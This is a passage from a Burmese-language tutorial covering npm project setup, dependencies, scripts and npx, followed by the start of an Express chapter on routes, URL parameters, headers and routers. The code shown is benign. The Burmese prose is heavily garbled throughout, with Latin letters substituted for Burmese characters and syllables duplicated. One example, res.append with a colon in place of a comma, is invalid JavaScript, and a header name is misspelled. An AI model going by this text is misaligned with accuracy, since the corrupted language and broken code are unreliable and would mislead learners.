မယ်။  တစ်ခုချင်း  ကြေgoကြေပးသွားလုိက်ရင်  ကြေနာက်ဆံုးမှာ  ကိုယ်ကြေပးလုိက်တဲ့  အချက်အလက်ကြေတွ  ပါဝင်တဲ့
package.json ဆိုတဲ့ oုိင်တစ်ခုထွက်လာပါလိမ့်မယ်။ oုိဒါတစ်ခုမှာ package.json oုိင် ပါဝင်သွား
တာနဲ့  NPM Project တစ်ခု goစ်သွားပါပြပီ။ တစ်ကယ်ကြေတာ့ အကြေမးအကြေgoကြေတွ တစ်ကြေeကာင်းချင်း လုပ်ရတာ
eကာပါတယ်။ npm init -y ဆိုပြပီး ကြေနာက်ဆံုးက -y Option ကြေလးထည့်ကြေပးလုိက်ရင် yာမှ လာမကြေမး
ကြေတာ့yဲ package.json ကို Default Value ကြေတွနဲတ့ည်ကြေဆာက်ကြေပးသွားမှာပါ။ ကြေနာက်မှ gပင်စရာရှိရင်
အ့ဲဒီ package.json ကိုoွင့်gပင်တာက ပုိအဆင်ကြေgပပါတယ်။ 

oုိဒါတစ်ခုကို နှစ်သက်ရာအမည်နဲ့ ကိုယ့်yာသာ ကြေဆာက်လုိက်ပါ။ အ့ဲဒီoုိဒါထဲမှာ အခုလုိ Run ကြေပးလုိက်ရင်
ရပါပြပီ။ ပကြေရာင်္ဂျက်oုိဒါ goစ်သွားပါပြပီ။
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npm init -y

Wrote to /path/to/project/package.json:

{
  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}

ပကြေရာင်္ဂျက်oုိဒါထဲမှာပဲ  npm ကိုသုံးပြပီးကြေတာ့ လုိချင်တဲ့  Third-party  Package  ကြေတွကို  ရယူလုိရ့ပါတယ်။
ဥပမာ ဒီလုိပါ -

npm install express

ဒါဆိုရင် express ဆိုတဲ့  Package ကို  npm က Download လုပ်ယူကြေပးယုံသာမက၊ express အလုပ်
လုပ်နိုင်oုိအ့တွက် ဆက်စပ်လုိအပ်ကြေနတဲ့ Dependency Package ကြေတွကိုပါ အလုိအကြေလျှာက် ရယူကြေပးသွား
မှာပါ။ ရရှိလာတဲ့ Package ကြေတွကို node_modules ဆိုတဲ့ oုိဒါတစ်ခုထဲမှာ အကုန်ထည့်ကြေပးသွားမှာgoစ်
ပါတယ်။ အသုံးလုိတဲ့အခါ အခုလုိ အလွယ်တစ်ကူ ချတိ်ဆက်အသံုးgပုလုိရ့ပါတယ်။

 JavaScript 

const express = require("express");

Package  အမည်goစ်တဲ့  express လုိပဲ့ကြေgပာလုိက်oုိ့လုိပါတယ်။  Package  ရဲ့တည်ကြေနရာကို  ကြေgပာgပစရာ
မလုိပါyူး။  npm က  Package  ကြေတွ  node_modules ဆိုတဲ့  oုိဒါထဲမှာ ရှိမှန်းသိထားပြပီးသားပါ။  npm
install အစား အတိုကြေကာက် ဒီလုိကြေရးလုိလ့ည်း ရပါတယ်။ i တစ်လံုးတည်းကြေပးလုိက်တာပါ။

npm i express
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ဒါဆိုရင်လည်း express Package ကို ရယူလုိက်တာပါပဲ။ ဒီလုိရယူပြပီးကြေနာက် package.json oုိင်ကို
oွင့်eကည့်လုိက်ပါ။ အခုလုိgoစ်ကြေနနိုင်ပါတယ်။

 JSON 

{
  "name": "project",
  … 
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  … 
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1"
  }
}

dependencies ဆိုတဲ့အပုိင်းတစ်ပုိင်း  တိုးလာပြပီး  အထဲမှာ  express ပါဝင်ကြေနတာကို  ကြေတွ့ရပါလိမ့်
မယ်။  အ့ဲဒါကကြေတာ့  လက်ရှိပကြေရာင်္ဂျက်ဟာ  express ရှိမှ  အလုပ်လုပ်တယ်လုိ့  သူ့အလုိလုိ  သတ်မှတ်
လုိက်တာပါပဲ။  တgခား  Package  ကြေတွထပ်ပြပီးကြေတာ့  install လုပ်ရင်လည်း  အ့ဲဒီလုိထပ်တိုးပြပီးကြေတာ့
ပါဝင်သွားဦးမှာပါ။ 

တစ်ချ ို ့  Package ကြေတွက လုိကြေတာ့လုိအပ်တယ်၊ ဒါကြေပမယ့် အ့ဲဒါရှိမှ အလုပ်လုပ်တာ မဟုတ်yူး၊ ကုဒ်ကြေတွ
ကြေရးကြေနစဉ်မှာပဲ  လုိအပ်တာဆိုတာမျ ို း  ရှတိတ်ပါတယ်။  ဥပမာ  -  eslint လုိ  နည်းပညာမျ ို းပါ။  သူက
ကြေရးထားတဲ့ ကုဒ်ထဲမှာရှိကြေနတဲ့ အမှားကြေတွကို ရှာကြေပးနိုင်ပါတယ်။ ဒါကြေeကာင့် သူရှိမှ အလုပ်လုပ်တာမျ ို းကြေတာ့
မဟုတ်ပါyူး။ ကုဒ်ကြေတွကြေရးကြေနစဉ် Development Time မှာပဲ လုိအပ်တဲ့သကြေyာပါ။ ဒီလုိ Package မျ ို းကို
Development Dependency လုိ့ကြေခါ်ပါတယ်။ install လုပ်တဲ့အခါ --save-dev ဆိုတဲ့  Option နဲ့
တွဲပြပီးကြေတာ့ install လုပ်သင့်ပါတယ်။ အတိုကြေကာက် -D လုိ့ကြေgပာရင်လည်း ရပါတယ်။ ဒီလုိပါ။

npm i -D eslint

ဒီလုိ  install လုပ်ပြပီးတဲ့အခါ  package.json ကို gပန်ကြေလ့လာeကည့်လုိက်ပါ။ ဒီလုိပံုစံမျ ို း goစ်နိုင်ပါ
တယ်။
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 JSON 

{
  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.18.2"
  },
  "devDependencies": {
    "eslint": "^8.35.0"
  }
}

devDependencies ဆိုတဲ့  အပုိင်းတစ်ခု ထပ်တိုးသွားတာပါ။ ဒါကြေeကာင့် ဒီoုိင်ကို  eကည့်လုိက်ယုံနဲ့  ဒီပ
ကြေရာင်္ဂျက်မှာ  yာကြေတွလုိလဲဆိုတာကို  သိရနိုင်ပါတယ်။  ကြေစာကြေစာက  install လုပ်လုိက်တဲ့  Package
ကြေတွကို  node_modules oုိဒါထဲမှာ သိမ်းသွားတယ်လုိ့  ကြေgပာခဲ့ပါတယ်။ ကိုယ့်  ပကြေရာင်္ဂျက်ကို  သူများကို
ကြေပးတဲ့အခါ အ့ဲဒီ  node_modules oုိဒါ ထည့်ကြေပးစရာမလုိပါyူး။ အလားတူပဲ သူများ  Package ကြေတွကို
ယူတဲ့အခါမှာလည်း node_modules oုိဒါမပါလုိ့ yာမှမgoစ်ပါyူး။ package.json ပါoုိပဲ့လုိပါတယ်။
npm ကို လုိတာကြေတွအကုန် install လုပ်လုိက်ပါလုိ့ အခုလုိ ကြေgပာလုိရ့ပါတယ်။

npm i

ဒါပါပဲ။  install အတွက်  ကြေနာက်က  Package  အမည်  မကြေပးကြေတာ့တာပါ။  ဒါဆိုရင်  npm က
package.json ကို eကည့်ပြပီးကြေတာ့ လုိတာကြေတွအကုန် install လုပ်ကြေပးသွားမှာ goစ်ပါတယ်။

NPM ကို သုံးမယ့်ကိစ္စ (၃) ခုမှာ (၂) ခကုြေတာ့ ရသွားပါပြပီ။ တစ်ခုက ပကြေရာင်္ဂျက်ကြေဆာက်တာပါ။ ကြေနာက်တစ်ခု
က လုိတဲ့  Package  ကြေတွ ရယူတာပါ။ ကျန်ကြေနတဲ့  ကြေနာက်ဆံုးတစ်ခုကကြေတာ့  Script  ကြေတွ  Run  တာgoစ်ပါ
တယ်။ package.json ထဲမှာ scripts ဆိုတဲ့ အပုိင်းတစ်ပုိင်းပါပါတယ်။ အ့ဲဒီ scripts မှာအခုလုိ
နမူနာ script ကြေလးတစ်ခုကြေလာက် ကြေရးပြပီး ထည့်လုိက်ပါ။
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 JSON 

{
  "name": "project",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",

  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "fun": "echo \"NPM scripts are fun\""
  },
  … 
  "dependencies": {
    "express": "^4.17.1"
  },
  "devDependencies": {
    "eslint": "^7.9.0"
  }
}

scripts ထဲမှာ  test က နင်္ဂိုကတည်းကပါတာပါ။  fun လုိ့ကြေခါ်တဲ့  Script  တစ်ခု  ထပ်ကြေရးပြပီး  ထည့်
ကြေပးလုိက်တာပါ။ yာမှအထူးအဆန်းကြေတာ့ မဟုတ်ပါyူး စာကြေလးတစ်ကြေeကာင်း ရုိက်ထုတ်ကြေပးတဲ့ Script ပါ။
အ့ဲဒီ Script ကို အခုလုိ npm နဲ့ Run ခိုင်းလုိရ့ပါတယ်။

npm run fun

> app@1.0.0 fun /home/eimg/Desktop/app
> echo "NPM scripts are fun"

NPM scripts are fun

ဒီနည်းကိုသုံးပြပီး ပကြေရာင်္ဂျက်နဲ့ Source Code ကြေတွကို စီမံတဲ့ Script ကြေတကွြေရးထားပြပီး လုိတဲ့အချနိ် Run လုိရ့
gခင်း goစ်ပါတယ်။ Development Process Management အတွက် အကြေရးပါတဲ့ လုပ်ကြေဆာင်ချက်ပါ။ ကုဒ်
ကြေတကွြေရးပြပီးတဲ့အခါ Jest Test Library သုံးပြပီး  Unit Test ကြေတွ Run ကြေပးoုိလုိ့နိုင်ပါတယ်။ ESLint လုိနည်း
ပညာများနဲ့ ကုဒ်အမှားကြေတွ ရှားခိုင်းလုိ့ ရနိုင်ပါတယ်။ Babel  လုိနည်းပညာမျ ို း နဲ့  Compile  လုပ်oုိ့ လုိတာ
ကြေတွ  Compile  လုပ်oုိလုိ့နိုင်ပါတယ်၊ ဥပမာ  React  ရဲ့  JSX  နဲ့  ကြေရးထားတဲ့ကုဒ်ကို  JavaScript  goစ်ကြေအာင်
ကြေgပာင်းတာမျ ို းပါ။  Webpack လုိနည်းပညာမျ ို းနဲ့  ပကြေရာင်္ဂျက်ကို  Development Server  နဲ့  Run oုိလုိ့နိုင်ပါ
တယ်။ ဒါမျ ို းကြေတွကို တစ်ခခုျင်း Manual လုပ်မယ့်အစား Script ကြေတကွြေရးထားလုိက်မယ်ဆိုရင် NPM Script
နဲ့ လုိအပ်ချနိ်မှာ တစ်ချက်တည်းနဲ့  Run လုိရ့မှာgoစ်ပါတယ်။ ဒီအကြေeကာင်းအရာကြေတွကကြေတာ့ ကျွနက်ြေတာ်တို့
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အဓိကထား ကြေလ့လာချင်တဲ့အကြေeကာင်းအရာနဲ့ Out of scope goစ်ကြေနလုိ့ ထည့်မကြေgပာပါyူး။ NPM နဲ့ Script
ကြေတွ Run လုိရ့တယ်ဆိုတာကိုသာ မှတ်ထားလုိက်ပါ။

ကြေနာက်ထပ်တစ်ခု  မှတ်သင့်ပါကြေသးတယ်။  npm နဲ့  အခုနမူနာ  install လုပ်gပတဲ့  Package  ကြေတွကို
Local Package လုိ့ကြေခါ်ပါတယ်။ လက်ရှိပကြေရာင်္ဂျက်နဲပ့ဲ သက်ဆိုင်ပြပီး လက်ရှိပကြေရာင်္ဂျက် ထဲကကြေနပဲ သုံးခွင့်
ရှတိဲ့ Package ကြေတွပါ။ လုိအပ်ရင် Global Package ကြေခါ် System Wide ကြကိုက်တဲ့ကြေနရာကကြေန ချတိ်သုံးလုိ့
ရကြေအာင်လည်း install လုပ်လုိရ့ပါတယ်။ --global သုိ့မဟုတ် -g Option နဲတ့ွဲပြပီး install လုပ်ရပါ
တယ်။ ဒီလုိပါ -

npm i -g eslint

ဒီတစ်ခါကြေတာ့ eslint ကို Global Package အကြေနနဲ့  Install လုပ်လုိက်တာပါ (Ubuntu Linux လုိ့ စနစ်
မျ ို းမှာ  ကြေရှ့က  sudo ထည့်ကြေပးoုိ့  လုိနိုင်ပါတယ်)။ ဒါကြေeကာင့် ဒီ  Package  ကို  System Wide  ကြကိုက်တဲ့
ကြေနရာကကြေန ကြေခါ်သုံးလုိရ့သွားပါပြပီ။ 

npx ဆိုတာလည်း ရှိပါကြေသးတယ်။ တစ်ချ ို ့  Install  လုပ်ထားတဲ့  Package  ကြေတွက Module  အကြေနနဲ့ ကြေခါ်
သုံးoုိ့ မဟုတ်ပါyူး။ လုိအပ်တဲ့အခါ Run နိုင်oုိ့  Install လုပ်ထားတာပါ။ အခုနမူနာကြေပးကြေနတဲ့ eslint ဆို
ရင်လည်း ဒီသကြေyာပါပဲ။ ဒီ  Package  ကိုကြေခါ်သုံးပြပီး ကုဒ်ကြေတွကြေရးoုိထ့က်စာရင် ဒီ  Package  ကို  Run  ပြပီး
ကြေတာ့  ကုဒ်ကြေတွကို  စစ်oုိ့goစ်ပါတယ်။  Global  Package  အကြေနနဲ့  Install  လုပ်ထားရင်  အခုလုိ  ရုိးရုိး
Command တစ်ခုကဲ့သုိ ့Run လုိရ့ပါတယ်။ ကြကိုက်တဲ့ကြေနရာကကြေန Run လုိရ့ပါတယ်။

eslint --init
eslint math.js

eslint --init နဲ့  Configuration  oုိင်တည်ကြေဆာက်ပြပီး  ကြေနာက်တစ်ဆင့်မှာ  math.js ထဲမှာရှိတဲ့
အမှားကြေတွကို စစ်ခိုင်းလုိက်တာပါ။  အကယ်၍ Local Package အကြေနနဲ့  Install  လုပ်ထားတာ ဆိုရင်ကြေတာ့
npx ကိုသုံးပြပီး အခုလုိ Run ကြေပးရပါတယ်။ 
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npx eslint --init 
npx eslint math.js

ဒီကြေလာက်ဆိုရင်ကြေတာ့ Node တို ့NPM တိုန့ဲပ့က်သက်ပြပီး သိသင့်တာကြေလးကြေတွ စံုသကြေလာက်ရှိသွားပါပြပီ။ 

အခုကြေgပာခဲ့တဲ့ထဲမှာ ကြေရးမယ်လုိ့ ရည်ရွယ်ထားတဲ့ ပကြေရာင်္ဂျက်အကြေeကာင်းကြေတာ့ မပါကြေသးပါyူး။ ကြေနာက်တစ်
ခန်းကျကြေတာ့မှ Express ကိုကြေလ့လာရင်း ဆက်ကြေရးသွားeကမှာမုိလုိ့ပ့ါ။
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အခန်း (၇၃) – Express

Express  ဟာ JavaScript Server-side Framework  ကြေတွထဲမှာ လူသံုးအများဆံုးgoစ်ပြပီးကြေတာ့  Service    နဲ့  
API    ကြေတွoန်တီးoုိအ့တွက် အဓိကအသံုးgပုeကပါတယ်  ။ ရုိးရှင်းပြပီး အသံုးgပုရလည်း လွယ်သလုိ စွမ်းကြေဆာင်
ရည်gမင့်ပြပီး  gမန်တဲ့အတွက်  လက်ကြေတွ့အသုံးချ  ပကြေရာင်္ဂျက်ကြကီးကြေတွကထိ  အားကိုးအားထား  gပုeကရတဲ့
Framework ပါ။

ပြပီးခဲ့တဲ့အခန်းမှာ  NPM  အကြေeကာင်းကြေgပာရင်း  ပကြေရာင်္ဂျက်တည်ကြေဆာက်ပုံနဲ့  Express  ကို  ရယူပံုကြေoာ်gပခဲ့ပါ
တယ်။  gပန်eကည့်ကြေနရတာမျ ို းမgoစ်ကြေအာင်  ကြေနာက်တစ်ကြေခါက်  gပန်ကြေgပာလုိက်ပါမယ်။  ပထမဦးဆံုး  မိမိ
နှစ်သက်ရာအမည်နဲ့ oုိဒါတစ်ခုကြေဆာက်လုိက်ပါ။ ပြပီးတဲ့အခါ အ့ဲဒီoုိဒါထဲမှာ အခုလုိ ပကြေရာင်္ဂျကတ်စ်ခု oန်တီး
ပြပီး Express ကိုထည့်သွင်းကြေပးလုိက်ပါ။

npm init -y

npm i express

ဒါဆိုရင်  Express  ကို  အသံုးgပုပြပီး  ကုဒ်ကြေတွ  စကြေရးလုိရ့ပါပြပီ။  ကြေရးချင်တဲ့  ပကြေရာင်္ဂျက်ကုဒ်ကြေတွ  မကြေရးခင်
Express ရဲ့ သကြေyာသyာဝတစ်ချ ို ့ကို အရင်ကြေgပာgပချင်ပါတယ်။ ပထမဆံုးအကြေနနဲ့ Express ကိုသုံးပြပီး API
URL  သတ်မှတ်ပုံနဲ့  Server Run  ပုံ  Run နည်းကို  အရင်ကြေgပာgပပါမယ်။ ပကြေရာင်္ဂျက်oုိဒါထဲမှာ  index.js
အမည်နဲ ့oုိင်တစ်ခုကြေဆာက်ပြပီး အခုလုိ ကြေရးသားကြေပးပါ။
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 JavaScript 

const express = require("express");
const app = express();

app.get("/api/people", function(req, res) {
    const data = [
        { name: "Bobo", age: 22 },
        { name: "Nini", age: 23 },
    ];

    return res.status(200).json(data);
});

app.listen(8000, function() {
    console.log("Server running at port 8000...");
}); 

ဒီကုဒ်မှာ ပထမဆံုး  express ကို  Import လုပ်ယူပါတယ်။ ပြပီးတဲ့အခါသူ့ကို  Run ပြပီးကြေတာ့ app Object
တစ်ခတုည်ကြေဆာက်ပါတယ်။  နမူနာမှာ  app ရဲ့  Method  (၂)  ခုကို  သံုးထားပါတယ်။  get() နဲ့
listen() တို့goစ်ပါတယ်။  get() ဟာ  Route Method  တစ်ခုgoစ်ပြပီး  URL  လိပ်စာကြေတွ သတ်မှတ်oုိ့
သုံးပါတယ်။  လက်ခံလုိတဲ့  Request  Method  ကြေပါ်မူတည်ပြပီး  get(),  post(),  put(),

patch(), delete() စသgoင့်  Route Method  ကြေတွ အစံုရှိပါတယ်။ ကိုယ်လုိအပ်တဲ့  Method  ကို
အသုံးgပုနိုင်ပါတယ်။

Route Method  ကြေတဟွာ  URL  နဲ့  Callback Function  တိုက့ို  Parameter  များအကြေနနဲ့  လက်ခံပါတယ်။
URL သတ်မှတ်ပံုကကြေတာ့ ဟိုး RESTful API မှာ ရှင်းgပခဲ့ပြပီးgoစ်တဲ့ oဲွ့စည်းပံုအတိုင်း သတ်မှတ်နိုင်ပါတယ်။
Callback  Function  ကကြေတာ့  သတ်မှတ်ထားတဲ့  URL  ကိုအသုံးgပုပြပီး  Request  ဝင်ကြေရာက်လာတဲ့အခါ
အလုပ်လုပ်မယ့် Function goစ်ပါတယ်။ သူ့မှာ Request နဲ့ Response Object ကြေတွကို လက်ခံအသံုးgပုလုိ့
ရပါတယ်။ နမူနာမှာ Request ကို req ဆိုတဲ့ Variable နဲ့လက်ခံပြပီး Response ကို res ဆိုတဲ့ Variable
နဲ့  လက်ခံယူထားတာကို  ကြေတွ့နိုင်ပါတယ်။  req မှာ  Request  နဲ့ပက်သက်တဲ့  Header  ကြေတွ  Body  ကြေတွ
အကုန်ရှိပါတယ်။  တgခားအသုံးဝင်နိုင်တဲ့  Cookie  တို့  Host  တို့  IP  Address  တိုလ့ည်း  ရှိပါတယ်။
အလားတူပဲ res ကို သံုးပြပီးကြေတာ့ လုိအပ်တဲ့  Response Header, Status Code နဲ့  Body ကြေတွ သတ်မှတ်
လုိရ့ပါတယ်။
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ကြေပးထားတဲ့နမူနာအရ  get() Method  ကိုသုံးပြပီးကြေရးထားလုိ့  Request Method  က  GET goစ်ရပါမယ်။
ပါ။  URL  က  /api/people အတိအကျgoစ်ရပါမယ်။  Request  Header  နဲ့  Body  ကကြေတာ့ ကြေပးပုိသူ့
ကြကိုက်သလုိပုိလုိ့့ ရပါတယ်။ သူပုိ့သမျှ req ထဲမှာ အကုန်ရှိကြေနမှာပါ။

နမူနာကုဒ်ရဲ့ အလုပ်လုပ်ပံုကကြေတာ့ ရုိးရုိးကြေလးပါ။ data လုိ့ကြေခါ်တဲ့ Sample JSON Array တစ်ခရုှိပါတယ်။
res.status() ကိုသုံးပြပီး Status Code သတ်မှတ်ပါတယ်။ json() ကကြေတာ့ အလုပ်နှစ်ခု လုပ်ကြေပးပါ
တယ်။ Response Header  မှာ  Content-Typ: application/json လုိသ့တ်မှတ်ပြပီး ကြေပးလုိက်
တဲ့  JSON  data ကို  Response Body  အကြေနနဲ့  gပန်ပုိ့ကြေပးမှာပါ။ တgခား  send(), sendFile() စ
သgoင့် gပန်ပုိခ့ျင်တဲ့ Content အမျ ို းအစားကြေပါ်မူတည်ပြပီး ပုိလုိ့ရ့တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ ရှိပါကြေသးတယ်။ ဒါ
ကြေပမယ့် ကျွန်ကြေတာ်တိုက့ကြေတာ့  json() ကိုပဲ  သုံးgoစ်မှာပါ။  end() ဆိုတဲ့  လုပ်ကြေဆာင်ချက်တစ်ခုကြေတာ့
ရံoန်ရံခါလုိနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 

res.status(204).end() 

204 ရဲ့  သကြေyာကိုက  No  Content  goစ်လုိ့  Response  Body  မပုိ့သင့်ပါyူး။  ဒါကြေeကာင့်  end() နဲ့
Response  ကို  အပြပီးသတ်ကြေပးလုိက်တဲ့  သကြေyာပါ  (ဒါမှမဟုတ်  အ့ဲဒီလုိ  နှစ်ခတုွဲ  ကြေရးမကြေနကြေတာ့yဲ
sendStatus() ကို သုံးလုိလ့ည်း ရပါတယ်။ သူလည်း Status Code ချည်းgပန်ပုိတ့ာပါပဲ။ ကိုယ့်yာသာ
end() လုပ်ကြေပးစရာကြေတာ့ မလုိကြေတာ့ပါyူး)။ 

Response Header ကြေတွ သတ်မှတ်လုိရင် res.set() ကိုသုံးနိုင်ပါတယ်။ ဥပမာ -

 JavaScript 

res.set({
    "Location": "http://domain/api/people/3",
    "X-Rate-Limit-Limit": 60,
});

res.append() ကိုလည်းသုံးနိုင်ပါတယ်။  သူကကြေတာ့  Header  ကြေတွကို  အခုလုိတစ်ခါထဲ  အကုန်မ
သတ်မှတ်yဲ တစ်ခုချင်း ထပ်တိုးချင်ရင် အသံုးဝင်ပါတယ်။ 
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 JavaScript 

res.append("X-Rate-Limit-Remaining": 58);

ဟိုအကြေပါ်မှာ  ကြေပးထားတဲ့ကုဒ်နမူနာမှာ  res.status(200).json(data) လုိ့ကြေgပာတဲ့အတွက်
Status  Code  200,  Content-type: application/json နဲ့  data ကို  Response  Body
အgoစ် gပန်ပုိ့ကြေပးသွားမှာပါ။ ပြပီးကြေတာ့မှ listen() ကိုသုံးပြပီး Server Run ခိုင်းထားပါတယ်။ Port နံပါတ်
နဲ့ Callback Function ကြေပးရပါတယ်။ Port နံပါတ်ကို 8000 လုိ့ကြေပးထားပြပီး Callback Function ကကြေတာ့
Server Run ပြပီးရင် အလုပ်လုပ်ကြေပးသွားမှာ goစ်ပါတယ်။

စမ်းeကည့်လုိ့ ရပါတယ်။ ကြေရးထားတဲ့ကုဒ်ကို အခုလုိ node နဲ ့Run ကြေပးရပါမယ်။

node index.js

Server running at port 8000…

Server Run ကြေနပြပီgoစ်လုိ့ နှစ်သက်ရာ Web Browser တစ်ခုကိုoွင့်ပြပီး localhost:8000 နဲ့ စမ်းeကည့်
လုိရ့ပါတယ်။ အခုလုိကြေတွ့ရပါမယ်။
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yာမှမပါတဲ့  Root  URL  အလွတ်goစ်ကြေနလုိ့  အ့ဲဒီလုိကြေတွ့ရတာပါ။  ဒါကြေeကာင့်   localhost:8000/
api/people ကို စမ်းeကည့်လုိက်ပါ။ အခုလုိကြေတွ့ရပါလိမ့်မယ်။

ဒါဟာ  API  တစ်ခုoန်တီးလုိက်တာပါပဲ။  ကြေနာက်ထပ်သိသင့်တာကြေလး  တစ်ချ ို ့ထပ်မှတ်ပါ။  ပထမတစ်ခု
ကကြေတာ့ Dynamic URL သတ်မှတ်ပုံသတ်မှတ်နည်း goစ်ပါတယ်။ ကြေစာကြေစာကနမူနာမှာ URL က Static ပါ။
အကြေသသတ်မှတ်ထားလုိ့  သတ်မှတ်ထားတဲ့အတိုင်း  အတိအကျအသံုးgပုမှ  အလုပ်လုပ်ပါတယ်။  Dynamic
URL  ကြေတာ့  URL  ရဲ့oဲွ့စည်းပံု  သတ်မှတ်ထားတဲ့အတိုင်း  မှန်ရမယ်၊  ဒါကြေပမယ့် တန်oုိးကြေgပာင်းလုိရ့တဲ့  URL
အမျ ို းအစားပါ။ ဒီလုိသတ်မှတ်ကြေပးနိုင်ပါတယ်။

 JavaScript 

app.get("/api/people/:id", function(req, res) {
    const id = req.params.id;
    
    return res.status(200).json({ id });
});

URL  သတ်မှာ  :id ဆိုတဲ့သတ်မှတ်ချက် ပါသွားတာကိုသတိgပုပါ။  :id ကြေနရာမှာ နှစ်သက်ရာတန်oုိးကို
ကြေပးပြပီးကြေတာ့ သုံးနိုင်တဲ့ URL goစ်ပါတယ်။ :id ကြေနရာမှာ ကြေပးလာတဲ့ တန်oုိးကို req.params.id ဆိုပြပီး
ကြေတာ့ gပန်ယူလုိရ့ပါတယ်။ သတ်မှတ်တံုးက  :id လုိသ့တ်မှတ်ခဲ့လုိ့  gပန်ယူတဲ့အခါ  params.id ဆိုပြပီး
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gပန်ယူရတာပါ။ id မှ မဟုတ်ပါyူး၊ တgခားနှစ်သက်ရာအမည်ကြေပးပြပီး လက်ခံနိုင်ပါတယ်။ ဒါကြေပမယ့် REST
သကြေyာသyာဝအရ ကျွန်ကြေတာ်တိုက့ကြေတာ့ :id ကိုပဲ သုံးgoစ်မှာပါ။

ဒီကုဒ်ကြေတွ ကြေရးgoည့်ပြပီးရင် စမ်းeကည့်နိုင်oုိအ့တွက် API Server ကို  Ctrl + C နဲ့ ရပ်လုိက်ပြပီး ကြေနာက်တစ်ခါ
node index.js နဲ့  gပန်  Run  ကြေပးoုိ့  လုိအပ်ပါတယ်။  အသစ်ထပ်ထည့်လုိက်တဲ့ကုဒ်  အလုပ်လုပ်oုိ့
အတွက် အခုလုိ   Server   ကို gပန်စကြေပးရတာပါ  ။ သတိgပုပါ။ အစပုိင်းမှာ ကြေမ့တတ်ပါတယ်။ ကြေမ့ပြပီး gပန်မစလုိ့
ကြေရးထားတဲ့ကုဒ် အလုပ်မလုပ်yူး ထင်တတ်ပါတယ်။ ဒီလုိ ကိုယ့်yာသာ gပန်စကြေပးစရာ မလုိတဲ့နည်းကြေတွ ရှိ
ကြေပမယ့် ထည့်မကြေgပာကြေတာ့ပါyူး။ ကြေလာကြေလာဆယ် ကုဒ်ကြေတွgoည့်ကြေရးပြပီးရင် Server gပန်စကြေပးရတယ်လုိ့သာ
မှတ်ထားကြေပးပါ။ ပြပီးရင် စမ်းeကည့်လုိရ့ပါတယ်။  localhost:8000/api/people/123 ဆိုရင်အခု
လုိ gပန်ရမှာပါ။

123 အစား တgခားတန်oုိးကြေတွ ကြကိုက်သလုိကြေgပာင်းကြေပးပြပီး စမ်းeကည့်နိုင်ပါတယ်။ ကြေနာက်တစ်ခုထပ်ပြပီး မှတ်
သင့်တာကကြေတာ့ URL Route ကြေတွကို စာမျက်နှာခွဲကြေရးထားလုိ့ ရနိုင်gခင်း goစ်ပါတယ်။ ပကြေရာင်္ဂျက်ကြကီးလာ
ရင်  ကုဒ်ကြေတွခွဲကြေရးတယ်ဆိုတာ  မgoစ်မကြေန  လုိအပ်မှာပါ။  Node  Module  ကြေရးထုံးအတိုင်းပဲ  ခွဲကြေရးနိုင်ပါ
တယ်။ routes.js ဆိုတဲ့oုိင်ထဲမှာ အခုလုိကြေရးပြပီး စမ်းeကည့်ပါ။
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 JavaScript 

const express = require("express");
const router = express.Router();

router.get("/people", function(req, res) {
    const people = [
        { name: "Bobo", age: 22 },
        { name: "Nini", age: 23 },
    ];

    return res.status(200).json(people);
});

router.get("/people/:id", function(req, res) {
    const id = req.params.id;

    return res.status(200).json({ id });
});

module.exports = router;

ဒီတစ်ခါ app မပါကြေတာ့ပါyူး။ အ့ဲဒီအစား router ကိုအသုံးgပုပြပီး URL ကြေတွ သတ်မှတ်ထားပါတယ်။ ပြပီး
ကြေတာ့မှအ့ဲဒီ  Router တစ်ခုလံုးကို  Export လုပ်ကြေပးထားပါတယ်။ ဒါကြေeကာင့် လုိအပ်တဲ့ကြေနရာက ယူသံုးလုိရ့
ပါပြပီ။ index.js မှာ အခုလုိ ယူသုံးပြပီး ကြေရးစမ်းeကည့်လုိရ့ပါတယ်။

 JavaScript 

const express = require("express");
const app = express();
const routes = require("./routes");

app.use("/api", routes);

app.listen(8000, function() {
    console.log("Server running at port 8000...");
});

ကြေစာကြေစာကလုိ  URL  သတ်မှတ်ချက်ကြေတွ မပါကြေတာ့ပါyူး။  အ့ဲဒီအစား  routes.js ကို  Import  လုပ်ပြပီး
use() ရဲ့အကူအညီနဲ့  /api ကြေတွအားလံုး  routes.js မှာ သတ်မှတ်ထားတဲ့  routes ကြေတွကို သံုးရ
မယ်လုိ့ ကြေgပာလုိက်တာပါ။ ရလဒ်က ကြေစာကြေစာက နမူနာနဲ့ အတူတူပဲgoစ်မှာပါ။ ကွာသွားတာက Route ကြေတွ
ကို oုိင်ခွဲပြပီး ကြေရးလုိက်gခင်းသာ goစ်ပါတယ်။ ဆက်လက်ကြေoာ်gပမယ့် နမူနာမှာကြေတာ့ oုိင်ကြေတွ ခွဲမကြေနကြေတာ့ပါ
yူး။ တစ်မျက်နှာထဲမှာပဲ လုိတာအကုန် ကြေရးသွားမှာ goစ်ပါတယ်။
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Project
တစ်ကယ်ကြေတာ့ သိသင့်တာ စံုကြေအာင်ကြကိုကြေgပာထားပြပီးမုိလုိ့့ ပကြေရာင်္ဂျက်လုိသ့ာ နာမည်တပ်ထားတာ အများ
ကြကီးကြေgပာစရာ  မကျန်ကြေတာ့ပါyူး။  ကြေရးစရာရှိတဲ့  ကုဒ်နမူနာကို  တန်းကြေရးgပလုိက်ယုံပဲ  ကျန်ပါကြေတာ့တယ်။
MongoDB ကို  Express ကကြေန ချတိ်နိုင်oုိအ့တွက်  mongodb လုိ့ကြေခါ်တဲ့  Official MongoDB JavaScript
Client ကို ရယူအသံုးgပုပါမယ်။ 

ကြေနာက်ထပ် Package တစ်ခုလည်း လုိပါကြေသးတယ်။ body-parser လုိ့ကြေခါ်ပါတယ်။ ဟိုအရင်ကဆိုရင်
Express  မှာ လုိအပ်တာအကုန် ပါပါတယ်။  body-parser ဆိုတာ Express  ရဲ့ အစိတ်အပုိင်းတစ်ခုပါ။
